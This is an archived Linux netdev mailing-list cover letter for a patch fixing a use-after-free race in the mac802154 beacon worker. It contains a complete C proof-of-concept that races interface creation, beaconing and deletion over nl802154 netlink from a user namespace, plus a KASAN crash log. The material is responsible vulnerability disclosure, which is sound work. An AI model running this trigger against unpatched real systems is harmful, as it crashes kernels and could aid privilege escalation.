Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] mac802154: Fix beacon worker UAF
@ 2026-08-02  9:23 Zihan Xi
  2026-08-02  9:23 ` [PATCH net 1/1] mac802154: fix netdev use-after-free in beacon worker Zihan Xi
  0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-08-02  9:23 UTC (permalink / raw)
  To: linux-wpan, netdev
  Cc: alex.aring, stefan, miquel.raynal, davem, edumazet, pabeni, horms,
	david.girault, vega, zihanx

Hi Linux kernel maintainers,

We found and validated a issue in net/mac802154/scan.c. The bug is
reachable by a user who becomes namespaced root in user and net
namespaces, with nl802154 admin operations requiring CAP_NET_ADMIN in
that namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

mac802154_beacon_worker() reads local->beacon_req under RCU, derives the
sub-interface from beacon_req->wpan_dev, and then drops the RCU read
lock before using sdata and wpan_dev.

mac802154_stop_beacons_locked() only cancels pending delayed work with
cancel_delayed_work(), clears local->beacon_req, and frees the request.
If the beacon worker is already running, interface teardown can free the
netdev private area while the worker continues to dereference sdata and
the embedded wpan_dev outside RCU.

The selected baseline already contains an equivalent netdev reference
fix for mac802154_scan_worker(). This patch applies the same lifetime
rule to mac802154_beacon_worker(): take a netdev reference while the RCU
read lock still protects the request-derived sdata pointer, and release
it on every path that continues after the reference is acquired.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif
#ifndef NLA_NEXT
#define NLA_NEXT(nla, attrlen) \
    ((attrlen) -= NLA_ALIGN((nla)->nla_len), \
     (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len)))
#endif
#ifndef NLA_OK
#define NLA_OK(nla, len) \
    ((len) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && \
     (nla)->nla_len <= (len))
#endif

#define NL802154_GENL_NAME "nl802154"
#define MAX_MSG 8192
#define PAN_ID_BASE 0x1234

enum nl802154_commands {
    NL802154_CMD_UNSPEC,
    NL802154_CMD_GET_WPAN_PHY,
    NL802154_CMD_SET_WPAN_PHY,
    NL802154_CMD_NEW_WPAN_PHY,
    NL802154_CMD_DEL_WPAN_PHY,
    NL802154_CMD_GET_INTERFACE,
    NL802154_CMD_SET_INTERFACE,
    NL802154_CMD_NEW_INTERFACE,
    NL802154_CMD_DEL_INTERFACE,
    NL802154_CMD_SET_CHANNEL,
    NL802154_CMD_SET_PAN_ID,
    NL802154_CMD_SET_SHORT_ADDR,
    NL802154_CMD_SET_TX_POWER,
    NL802154_CMD_SET_CCA_MODE,
    NL802154_CMD_SET_CCA_ED_LEVEL,
    NL802154_CMD_SET_MAX_FRAME_RETRIES,
    NL802154_CMD_SET_BACKOFF_EXPONENT,
    NL802154_CMD_SET_MAX_CSMA_BACKOFFS,
    NL802154_CMD_SET_LBT_MODE,
    NL802154_CMD_SET_ACKREQ_DEFAULT,
    NL802154_CMD_SET_WPAN_PHY_NETNS,
    NL802154_CMD_SET_SEC_PARAMS,
    NL802154_CMD_GET_SEC_KEY,
    NL802154_CMD_NEW_SEC_KEY,
    NL802154_CMD_DEL_SEC_KEY,
    NL802154_CMD_GET_SEC_DEV,
    NL802154_CMD_NEW_SEC_DEV,
    NL802154_CMD_DEL_SEC_DEV,
    NL802154_CMD_GET_SEC_DEVKEY,
    NL802154_CMD_NEW_SEC_DEVKEY,
    NL802154_CMD_DEL_SEC_DEVKEY,
    NL802154_CMD_GET_SEC_LEVEL,
    NL802154_CMD_NEW_SEC_LEVEL,
    NL802154_CMD_DEL_SEC_LEVEL,
    NL802154_CMD_SCAN_EVENT,
    NL802154_CMD_TRIGGER_SCAN,
    NL802154_CMD_ABORT_SCAN,
    NL802154_CMD_SCAN_DONE,
    NL802154_CMD_SEND_BEACONS,
    NL802154_CMD_STOP_BEACONS,
};

enum nl802154_attrs {
    NL802154_ATTR_UNSPEC,
    NL802154_ATTR_WPAN_PHY,
    NL802154_ATTR_WPAN_PHY_NAME,
    NL802154_ATTR_IFINDEX,
    NL802154_ATTR_IFNAME,
    NL802154_ATTR_IFTYPE,
    NL802154_ATTR_WPAN_DEV,
    NL802154_ATTR_PAGE,
    NL802154_ATTR_CHANNEL,
    NL802154_ATTR_PAN_ID,
    NL802154_ATTR_SHORT_ADDR,
    NL802154_ATTR_TX_POWER,
    NL802154_ATTR_CCA_MODE,
    NL802154_ATTR_CCA_OPT,
    NL802154_ATTR_CCA_ED_LEVEL,
    NL802154_ATTR_MAX_FRAME_RETRIES,
    NL802154_ATTR_MAX_BE,
    NL802154_ATTR_MIN_BE,
    NL802154_ATTR_MAX_CSMA_BACKOFFS,
    NL802154_ATTR_LBT_MODE,
    NL802154_ATTR_GENERATION,
    NL802154_ATTR_CHANNELS_SUPPORTED,
    NL802154_ATTR_SUPPORTED_CHANNEL,
    NL802154_ATTR_EXTENDED_ADDR,
    NL802154_ATTR_WPAN_PHY_CAPS,
    NL802154_ATTR_SUPPORTED_COMMANDS,
    NL802154_ATTR_ACKREQ_DEFAULT,
    NL802154_ATTR_PAD,
    NL802154_ATTR_PID,
    NL802154_ATTR_NETNS_FD,
    NL802154_ATTR_COORDINATOR,
    NL802154_ATTR_SCAN_TYPE,
    NL802154_ATTR_SCAN_FLAGS,
    NL802154_ATTR_SCAN_CHANNELS,
    NL802154_ATTR_SCAN_PREAMBLE_CODES,
    NL802154_ATTR_SCAN_MEAN_PRF,
    NL802154_ATTR_SCAN_DURATION,
    NL802154_ATTR_SCAN_DONE_REASON,
    NL802154_ATTR_BEACON_INTERVAL,
};

enum nl802154_iftype {
    NL802154_IFTYPE_UNSPEC = (~(__u32)0),
    NL802154_IFTYPE_NODE = 0,
    NL802154_IFTYPE_MONITOR,
    NL802154_IFTYPE_COORD,
};

struct nl_state {
    int fd;
    uint32_t seq;
    uint16_t family_id;
};

struct new_if_arg {
    uint32_t phy;
    const char *name;
    uint32_t iftype;
};

struct set_pan_arg {
    uint32_t ifidx;
    uint16_t pan_id;
};

struct beacon_arg {
    uint32_t ifidx;
    uint8_t interval;
};

static int add_attr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                    const void *data, size_t len)
{
    size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
    size_t attr_len = NLA_HDRLEN + len;
    size_t new_len = off + NLA_ALIGN(attr_len);

    if (new_len > maxlen)
        return -1;

    struct nlattr *nla = (struct nlattr *)((char *)nlh + off);
    nla->nla_type = type;
    nla->nla_len = attr_len;
    memcpy((char *)nla + NLA_HDRLEN, data, len);
    memset((char *)nla + attr_len, 0, NLA_ALIGN(attr_len) - attr_len);
    nlh->nlmsg_len = new_len;
    return 0;
}

static int add_attr_u8(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                       uint8_t val)
{
    return add_attr(nlh, maxlen, type, &val, sizeof(val));
}

static int add_attr_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                        uint16_t val)
{
    return add_attr(nlh, maxlen, type, &val, sizeof(val));
}

static int add_attr_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                        uint32_t val)
{
    return add_attr(nlh, maxlen, type, &val, sizeof(val));
}

static int add_attr_str(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
                        const char *s)
{
    return add_attr(nlh, maxlen, type, s, strlen(s) + 1);
}

static int nl_open(struct nl_state *st)
{
    struct sockaddr_nl addr;

    st->fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (st->fd < 0)
        return -errno;

    memset(&addr, 0, sizeof(addr));
    addr.nl_family = AF_NETLINK;
    addr.nl_pid = getpid() ^ (uint32_t)time(NULL);

    if (bind(st->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        int err = -errno;
        close(st->fd);
        st->fd = -1;
        return err;
    }

    st->seq = 0;
    st->family_id = 0;
    return 0;
}

static int nl_send(struct nl_state *st, struct nlmsghdr *nlh)
{
    struct sockaddr_nl nladdr;
    struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len};
    struct msghdr msg;

    memset(&nladdr, 0, sizeof(nladdr));
    nladdr.nl_family = AF_NETLINK;

    memset(&msg, 0, sizeof(msg));
    msg.msg_name = &nladdr;
    msg.msg_namelen = sizeof(nladdr);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    if (sendmsg(st->fd, &msg, 0) < 0)
        return -errno;

    return 0;
}

static int nl_recv_for_seq(struct nl_state *st, uint32_t seq,
                           int (*cb)(struct nlmsghdr *, void *), void *cb_arg,
                           bool *got_answer)
{
    char buf[MAX_MSG];

    for (;;) {
        ssize_t len = recv(st->fd, buf, sizeof(buf), 0);
        if (len < 0) {
            if (errno == EINTR)
                continue;
            return -errno;
        }

        for (struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
             NLMSG_OK(nlh, (unsigned int)len);
             nlh = NLMSG_NEXT(nlh, len)) {
            if (nlh->nlmsg_seq != seq)
                continue;

            if (got_answer)
                *got_answer = true;

            if (nlh->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
                return err->error;
            }

            if (cb) {
                int ret = cb(nlh, cb_arg);
                if (ret)
                    return ret;
            } else {
                return 0;
            }

            if (nlh->nlmsg_type == NLMSG_DONE)
                return 0;
        }
    }
}

static int parse_family_id(struct nlmsghdr *nlh, void *arg)
{
    uint16_t *family_id = arg;
    struct genlmsghdr *genl;
    struct nlattr *attr;
    int rem;

    if (nlh->nlmsg_type == NLMSG_DONE)
        return 0;

    if (nlh->nlmsg_len < NLMSG_LENGTH(GENL_HDRLEN))
        return -EINVAL;

    genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
    rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
    attr = (struct nlattr *)((char *)genl + GENL_HDRLEN);

    for (; NLA_OK(attr, rem); attr = NLA_NEXT(attr, rem)) {
        if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
            *family_id = *(uint16_t *)NLA_DATA(attr);
            return 1;
        }
    }

    return 0;
}

static int nl_resolve_family(struct nl_state *st, const char *family_name)
{
    char buf[MAX_MSG];
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    struct genlmsghdr *genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
    uint32_t seq = ++st->seq;
    uint16_t id = 0;
    bool got = false;
    int ret;

    memset(buf, 0, sizeof(buf));
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nlh->nlmsg_type = GENL_ID_CTRL;
    nlh->nlmsg_flags = NLM_F_REQUEST;
    nlh->nlmsg_seq = seq;
    genl->cmd = CTRL_CMD_GETFAMILY;
    genl->version = 1;

    if (add_attr_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, family_name) < 0)
        return -EMSGSIZE;

    ret = nl_send(st, nlh);
    if (ret < 0)
        return ret;

    for (;;) {
        ret = nl_recv_for_seq(st, seq, parse_family_id, &id, &got);
        if (ret == 1)
            break;
        if (ret < 0)
            return ret;
        if (got)
            break;
    }

    if (!id)
        return -ENOENT;

    st->family_id = id;
    return 0;
}

static int nl_cmd(struct nl_state *st, uint8_t cmd,
                  int (*fill)(struct nlmsghdr *, size_t, void *), void *fill_arg,
                  bool need_ack)
{
    char buf[MAX_MSG];
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    struct genlmsghdr *genl = (struct genlmsghdr *)NLMSG_DATA(nlh);
    uint32_t seq = ++st->seq;
    bool got = false;
    int ret;

    memset(buf, 0, sizeof(buf));
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nlh->nlmsg_type = st->family_id;
    nlh->nlmsg_flags = NLM_F_REQUEST | (need_ack ? NLM_F_ACK : 0);
    nlh->nlmsg_seq = seq;
    genl->cmd = cmd;
    genl->version = 1;

    if (fill && fill(nlh, sizeof(buf), fill_arg) < 0)
        return -EMSGSIZE;

    ret = nl_send(st, nlh);
    if (ret < 0)
        return ret;

    if (!need_ack)
        return 0;

    ret = nl_recv_for_seq(st, seq, NULL, NULL, &got);
    if (ret < 0)
        return ret;

    return 0;
}

static int set_if_up(const char *ifname, bool up)
{
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    struct ifreq ifr;

    if (fd < 0)
        return -errno;

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);

    if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) {
        int err = -errno;
        close(fd);
        return err;
    }

    if (up)
        ifr.ifr_flags |= IFF_UP;
    else
        ifr.ifr_flags &= ~IFF_UP;

    if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) {
        int err = -errno;
        close(fd);
        return err;
    }

    close(fd);
    return 0;
}

static int fill_new_if(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
    struct new_if_arg *arg = arg_;

    if (add_attr_u32(nlh, maxlen, NL802154_ATTR_WPAN_PHY, arg->phy) < 0)
        return -1;
    if (add_attr_str(nlh, maxlen, NL802154_ATTR_IFNAME, arg->name) < 0)
        return -1;
    if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFTYPE, arg->iftype) < 0)
        return -1;

    return 0;
}

static int fill_ifidx(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
    uint32_t ifidx = *(uint32_t *)arg_;
    return add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, ifidx);
}

static int fill_set_pan(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
    struct set_pan_arg *arg = arg_;

    if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, arg->ifidx) < 0)
        return -1;
    if (add_attr_u16(nlh, maxlen, NL802154_ATTR_PAN_ID, arg->pan_id) < 0)
        return -1;
    return 0;
}

static int fill_beacon(struct nlmsghdr *nlh, size_t maxlen, void *arg_)
{
    struct beacon_arg *arg = arg_;

    if (add_attr_u32(nlh, maxlen, NL802154_ATTR_IFINDEX, arg->ifidx) < 0)
        return -1;
    if (add_attr_u8(nlh, maxlen, NL802154_ATTR_BEACON_INTERVAL, arg->interval) < 0)
        return -1;
    return 0;
}

static int cmd_new_interface(struct nl_state *st, uint32_t phy, const char *name,
                             uint32_t iftype)
{
    struct new_if_arg arg = {
        .phy = phy,
        .name = name,
        .iftype = iftype,
    };
    return nl_cmd(st, NL802154_CMD_NEW_INTERFACE, fill_new_if, &arg, true);
}

static int cmd_del_interface(struct nl_state *st, uint32_t ifidx)
{
    return nl_cmd(st, NL802154_CMD_DEL_INTERFACE, fill_ifidx, &ifidx, true);
}

static int cmd_set_pan_id(struct nl_state *st, uint32_t ifidx, uint16_t pan_id)
{
    struct set_pan_arg arg = {
        .ifidx = ifidx,
        .pan_id = pan_id,
    };
    return nl_cmd(st, NL802154_CMD_SET_PAN_ID, fill_set_pan, &arg, true);
}

static int cmd_send_beacons(struct nl_state *st, uint32_t ifidx, uint8_t interval)
{
    struct beacon_arg arg = {
        .ifidx = ifidx,
        .interval = interval,
    };
    return nl_cmd(st, NL802154_CMD_SEND_BEACONS, fill_beacon, &arg, true);
}

int main(int argc, char **argv)
{
    struct nl_state st;
    int iterations = 100000;
    uint32_t phy = 0;
    uint64_t create_ok = 0, beacon_ok = 0, del_ok = 0;
    int ret;

    if (argc > 1)
        iterations = atoi(argv[1]);

    srand((unsigned int)time(NULL));
    memset(&st, 0, sizeof(st));

    ret = nl_open(&st);
    if (ret < 0) {
        fprintf(stderr, "nl_open failed: %d\n", ret);
        return 1;
    }

    ret = nl_resolve_family(&st, NL802154_GENL_NAME);
    if (ret < 0) {
        fprintf(stderr, "resolve %s failed: %d\n", NL802154_GENL_NAME, ret);
        return 1;
    }

    for (int i = 0; i < iterations; i++) {
        char ifname[32];
        uint32_t ifidx;
        uint16_t pan_id = (uint16_t)(PAN_ID_BASE + (i & 0xff));
        struct timespec ts;

        snprintf(ifname, sizeof(ifname), "bcn%d", i % 1000);

        ret = cmd_new_interface(&st, phy, ifname, NL802154_IFTYPE_COORD);
        if (ret < 0) {
            if (ret == -EEXIST) {
                sched_yield();
                continue;
            }
            fprintf(stderr, "[%d] new_interface(%s) failed: %d\n", i, ifname, ret);
            continue;
        }
        create_ok++;

        ifidx = if_nametoindex(ifname);
        if (!ifidx) {
            fprintf(stderr, "[%d] if_nametoindex(%s) failed\n", i, ifname);
            continue;
        }

        ret = cmd_set_pan_id(&st, ifidx, pan_id);
        if (ret < 0) {
            fprintf(stderr, "[%d] set_pan_id(%u) failed: %d\n", i, ifidx, ret);
            cmd_del_interface(&st, ifidx);
            continue;
        }

        ret = set_if_up(ifname, true);
        if (ret < 0) {
            fprintf(stderr, "[%d] set_if_up(%s) failed: %d\n", i, ifname, ret);
            cmd_del_interface(&st, ifidx);
            continue;
        }

        ret = cmd_send_beacons(&st, ifidx, 0);
        if (ret < 0) {
            fprintf(stderr, "[%d] send_beacons(%u) failed: %d\n", i, ifidx, ret);
            cmd_del_interface(&st, ifidx);
            continue;
        }
        beacon_ok++;

        ts.tv_sec = 0;
        ts.tv_nsec = (long)(1000 * (50 + (rand() % 600)));
        nanosleep(&ts, NULL);

        ret = cmd_del_interface(&st, ifidx);
        if (ret < 0 && ret != -ENODEV)
            fprintf(stderr, "[%d] del_interface(%u) failed: %d\n", i, ifidx, ret);
        else
            del_ok++;

        if ((i % 100) == 0) {
            printf("iter=%d create_ok=%llu beacon_ok=%llu del_ok=%llu\n",
                   i,
                   (unsigned long long)create_ok,
                   (unsigned long long)beacon_ok,
                   (unsigned long long)del_ok);
            fflush(stdout);
        }
    }

    close(st.fd);
    return 0;
}
------END poc.c--------

----BEGIN crash log----
[   45.261167] net bcn629: Beacon could not be transmitted (-100)
[   45.538139] net bcn637: Beacon could not be transmitted (-100)
[   45.712979] net bcn642: Beacon could not be transmitted (-100)
[   45.880237] net bcn648: Beacon could not be transmitted (-100)
[   45.930786] ==================================================================
[   45.945098] BUG: KASAN: slab-use-after-free in mac802154_beacon_worker (net/mac802154/scan.c:447)
[   45.958894] Read of size 8 at addr ffff888009701b28 by task kworker/u8:2/54
[   45.971385] 
[   45.973998] CPU: 0 UID: 0 PID: 54 Comm: kworker/u8:2 Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy) 
[   45.974003] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   45.974005] Workqueue: phy0-mac-cmds mac802154_beacon_worker
[   45.974012] Call Trace:
[   45.974015]  <TASK>
[   45.974017]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[   45.974021]  print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[   45.974024]  ? __pfx__raw_spin_lock_irqsave (include/asm-generic/qrwlock.h:122 (discriminator 4))
[   45.974027]  ? mac802154_beacon_worker (net/mac802154/scan.c:447)
[   45.974029]  kasan_report (mm/kasan/report.c:595)
[   45.974031]  ? mac802154_beacon_worker (net/mac802154/scan.c:447)
[   45.974033]  mac802154_beacon_worker (net/mac802154/scan.c:447)
[   45.974035]  process_one_work (kernel/workqueue.c:3322)
[   45.974040]  ? assign_work (kernel/workqueue.c:1233)
[   45.974042]  worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)
[   45.974044]  ? __pfx_worker_thread (include/linux/list.h:249)
[   45.974046]  kthread (kernel/kthread.c:436)
[   45.974048]  ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:181)
[   45.974050]  ? __pfx_kthread (include/linux/list.h:162)
[   45.974052]  ret_from_fork (arch/x86/kernel/process.c:158)
[   45.974054]  ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7))
[   45.974056]  ? __switch_to (arch/x86/kernel/process_64.c:403 arch/x86/kernel/process_64.c:663)
[   45.974058]  ? __pfx_kthread (include/linux/list.h:162)
[   45.974060]  ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[   45.974063]  </TASK>
[   45.974063] 
[   46.185457] Allocated by task 257:
[   46.191459]  kasan_save_stack (mm/kasan/common.c:57)
[   46.198963]  kasan_save_track (mm/kasan/common.c:78)
[   46.206032]  __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[   46.212506]  __kvmalloc_node_noprof (include/linux/kasan.h:263 mm/slub.c:5362 mm/slub.c:6933)
[   46.220575]  alloc_netdev_mqs (net/core/dev.c:12054 (discriminator 2))
[   46.228370]  ieee802154_if_add (net/mac802154/iface.c:620)
[   46.235835]  ieee802154_add_iface (net/mac802154/cfg.c:92)
[   46.242768]  nl802154_new_interface (net/ieee802154/rdev-ops.h:56 net/ieee802154/nl802154.c:948)
[   46.251225]  genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[   46.259138]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[   46.267140]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[   46.274455]  genl_rcv (net/netlink/genetlink.c:1218)
[   46.279978]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[   46.287407]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[   46.294879]  ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[   46.302513]  ___sys_sendmsg (net/socket.c:2738)
[   46.310950]  __sys_sendmsg (net/socket.c:2770)
[   46.317836]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   46.325225]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   46.334407] 
[   46.337166] Freed by task 257:
[   46.342323]  kasan_save_stack (mm/kasan/common.c:57)
[   46.349979]  kasan_save_track (mm/kasan/common.c:78)
[   46.357214]  kasan_save_free_info (mm/kasan/generic.c:584)
[   46.365218]  __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[   46.372115]  kfree (include/linux/kasan.h:235 mm/slub.c:2705 mm/slub.c:6405 mm/slub.c:6720)
[   46.378280]  device_release (drivers/base/core.c:2636)
[   46.385399]  kobject_put (lib/kobject.c:689 lib/kobject.c:720 include/linux/kref.h:65 lib/kobject.c:737)
[   46.391492]  netdev_run_todo (net/core/dev.c:11755)
[   46.398749]  genl_family_rcv_msg_doit (net/netlink/genetlink.c:1117)
[   46.407140]  genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[   46.413714]  netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[   46.421327]  genl_rcv (net/netlink/genetlink.c:1218)
[   46.427117]  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[   46.434304]  netlink_sendmsg (net/netlink/af_netlink.c:1900)
[   46.441234]  ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[   46.448433]  ___sys_sendmsg (net/socket.c:2738)
[   46.455085]  __sys_sendmsg (net/socket.c:2770)
[   46.464857]  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[   46.471414]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   46.480946] 
[   46.483515] The buggy address belongs to the object at ffff888009701000
[   46.483515]  which belongs to the cache kmalloc-4k of size 4096
[   46.507299] The buggy address is located 2856 bytes inside of
[   46.507299]  freed 4096-byte region [ffff888009701000, ffff888009702000)
[   46.530004] 
[   46.532790] The buggy address belongs to the physical page:
[   46.543614] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x9700
[   46.558297] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[   46.572146] flags: 0x100000000000040(head|node=0|zone=1)
[   46.585565] page_type: f5(slab)
[   46.591088] raw: 0100000000000040 ffff8880010433c0 ffffea000018c610 ffffea000009d410
[   46.605298] raw: 0000000000000000 0000000000020002 00000000f5000000 0000000000000000
[   46.619680] head: 0100000000000040 ffff8880010433c0 ffffea000018c610 ffffea000009d410
[   46.635070] head: 0000000000000000 0000000000020002 00000000f5000000 0000000000000000
[   46.649082] head: 0100000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
[   46.663669] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[   46.677896] page dumped because: kasan: bad access detected
[   46.687759] 
[   46.690081] Memory state around the buggy address:
[   46.700017]  ffff888009701a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.712698]  ffff888009701a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.724750] >ffff888009701b00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.737595]                                   ^
[   46.745612]  ffff888009701b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.758377]  ffff888009701c00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   46.771889] ==================================================================
[   46.785657] clocksource: Marking clocksource tsc unstable due to frequency skew
[   46.798517] clocksource: Watchdog               kvm-clock interval:             1581ns
[   46.817052] clocksource: Clocksource                  tsc interval:             1465ns
[   46.834198] tsc: Marking TSC unstable due to clocksource watchdog
[   46.852453] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[   46.865384] CPU: 1 UID: 0 PID: 54 Comm: kworker/u8:2 Not tainted 7.2.0-rc4-g88c17de85ddb #1 PREEMPT(lazy) 
[   46.884681] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   46.909534] Workqueue: phy0-mac-cmds mac802154_beacon_worker
[   46.920741] Call Trace:
[   46.925297]  <TASK>
[   46.929456]  vpanic (kernel/panic.c:651)
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  mac802154: fix netdev use-after-free in beacon worker

 net/mac802154/scan.c | 4 ++++
 1 file changed, 4 insertions(+)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-08-02  9:24 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-02  9:23 [PATCH net 0/1] mac802154: Fix beacon worker UAF Zihan Xi
2026-08-02  9:23 ` [PATCH net 1/1] mac802154: fix netdev use-after-free in beacon worker Zihan Xi

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox